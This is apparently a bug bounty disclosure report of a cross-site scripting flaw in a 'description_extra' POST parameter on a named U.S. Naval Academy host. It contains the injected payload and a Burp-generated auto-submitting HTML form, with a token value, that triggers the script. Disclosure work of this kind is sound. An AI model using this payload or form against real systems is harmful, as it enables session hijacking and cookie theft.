U.S. Dept Of Defense · Report #3137206
Cross-Site Scripting via 'description_extra' parameter
How it was found
Description: I discovered a Cross-Site Scripting (XSS) vulnerability on █████████ , specifically through the POST method. This vulnerability allows an attacker to inject malicious scripts that could be executed, potentially leading to cookie theft, session hijacking, and other malicious actions.
Vulnerable parameter: description_extra Payload: <img/src/onerror=alert(1)>
References
███████
Impact
Exploitation of this vulnerability can lead to severe consequences, including but not limited: Session Hijacking: Attackers can steal cookies and impersonate legitimate users.
System Host(s)
edmaps.usna.edu
Affected Product(s) and Version(s)
CVE Numbers
Steps to Reproduce
You have to open this code on a page/site that is yours:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="█████" method="POST" enctype="multipart/form-data">
<input type="hidden" name="authtoken" value="GzvaMGKqYV3SRgsmAAmiTrCZndieeD29dyK5vfcWDIHM4wDT1poDRbEzSDQhWlibKtlBXhKNqNMpH/iZ3JlXBA==" />
<input type="hidden" name="from" value="" />
<input type="hidden" name="type" value="wikipage" />
<input type="hidden" name="name" value="WymSkPhN" />
<input type="hidden" name="description_extra" value="1<img/src/onerror=alert(1)>" />
<input type="hidden" name="description_encoded" value="" />
<input type="hidden" name="to_hidden" value="" />
<input type="hidden" name="to" value="" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
And will appear the alert(1).
Suggested Mitigation/Remediation Actions
Apply context-dependent encoding and/or validation to user input rendered on a page.